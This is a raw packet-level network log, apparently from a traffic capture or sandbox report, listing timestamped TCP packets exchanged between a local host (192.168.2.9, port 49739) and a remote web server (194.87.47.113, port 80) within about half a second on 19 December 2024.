Dec 19, 2024 08:01:00.164841890 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.165683031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.165720940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.165731907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.165760994 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.216864109 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.234814882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.234843969 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.234857082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.234884024 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.235197067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.235241890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.235253096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.235266924 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.235300064 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.236170053 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.236224890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.236236095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.236272097 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.237144947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.237176895 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.237184048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.237198114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.237229109 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.238075018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.238193989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.238250017 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.271327019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.271348953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.271361113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.271389008 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.271646023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.271682978 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.271820068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.271863937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.271876097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.271903038 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.272675037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.272686958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.272699118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.272717953 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.272737026 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.273586035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.273636103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.273648977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.273688078 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.274502039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.274538994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.274549961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.274574995 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.274593115 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.275146961 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.275441885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.275501013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.275513887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.275540113 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.276391983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.276428938 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.276436090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.276448965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.276477098 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.277343988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.277390003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.277403116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.277545929 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.278310061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.278352976 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.278372049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.278386116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.278424025 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.279239893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.279294014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.279305935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.279361963 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.280220032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.280266047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.280277967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.280297995 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.280325890 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.281152010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.281172991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.281184912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.281219006 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.282401085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.282444000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.282455921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.282479048 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.282496929 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.285717964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.285901070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.285942078 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.394675016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.394700050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.394711971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.394747972 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.395138979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.395194054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.395205975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.395227909 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.395294905 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.396081924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.396140099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.396152020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.396188974 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.397089958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.397133112 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.397154093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.397166014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.397200108 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.397979021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.398027897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.398040056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.398061991 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.398942947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.398984909 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.398997068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.399009943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.399044037 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.399909019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.399954081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.399971008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.400003910 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.400847912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.400867939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.400881052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.400886059 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.400924921 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.401808977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.401870012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.401880980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.401906013 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.402770996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.402811050 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.402818918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.402832031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.402874947 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.403455019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.403493881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.403503895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.403531075 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.404421091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.404464960 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.404472113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.404488087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.404525995 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.405348063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.405397892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.405410051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.405438900 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.406311035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.406358004 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.406378984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.406392097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.406445980 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.407265902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.407306910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.407325029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.407341003 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.408210993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.408253908 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.408272028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.408284903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.408324957 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.409189939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.409221888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.409233093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.409269094 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.410123110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.410213947 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.410222054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.426923037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.426969051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.426980972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.427031994 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.427340031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.427517891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.427562952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.427639961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.427653074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.427704096 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.428469896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.428522110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.428534985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.428565979 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.429399967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.429460049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.429471970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.429507971 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.430339098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.463413954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.463458061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.463462114 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.463471889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.463510036 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.463917971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.463938951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.463952065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.463977098 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.464762926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.464782000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.464793921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.464798927 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.464827061 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.465617895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.465662956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.465673923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.465698004 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.466578007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.466619968 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.466641903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.466655016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.466706991 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.467528105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.467586040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.467597961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.467638016 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.468497992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.468539000 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.468570948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.468583107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.468622923 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.469428062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.469484091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.469496012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.469532013 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.470367908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.470386982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.470398903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.470423937 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.470437050 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.471326113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.471345901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.471358061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.471381903 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.472258091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.472299099 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.472318888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.472331047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.472362995 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.473222017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.473248005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.473261118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.473290920 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.474219084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.474231958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.474244118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.474271059 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.474296093 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.475123882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.475151062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.475162029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.475200891 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.476068974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.476110935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.476123095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.476128101 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.476161003 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.477014065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.477050066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.477062941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.477097988 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.477972031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.478010893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.478020906 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.478022099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.478058100 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.479007006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.479047060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.479058027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.479079962 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.479880095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.479908943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.479921103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.479923964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.479960918 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.480812073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.480860949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.480873108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.480911016 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.481765985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.481803894 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.481827021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.481838942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.481893063 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.482796907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.482809067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.482822895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.482846975 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.483690023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.483711004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.483721972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.483731031 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.483753920 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.484622002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.484939098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.484977961 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.484988928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.485002041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.485038042 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.485888004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.485937119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.485949039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.485980988 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.486843109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.486896038 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.486900091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.486916065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.486953020 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.487874985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.487924099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.487935066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.487982035 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.488769054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.488806963 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.488814116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.488826036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.488856077 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.489834070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.489847898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.489859104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.489881992 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.490647078 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.490680933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.490683079 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.490693092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.490724087 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.491630077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.491708994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.491825104 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.528633118 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.619329929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.619349957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.619364023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.619381905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.619395018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.619400978 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.619438887 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.620199919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.620254040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.620266914 CET	80	49739	194.87.47.113	192.168.2.9
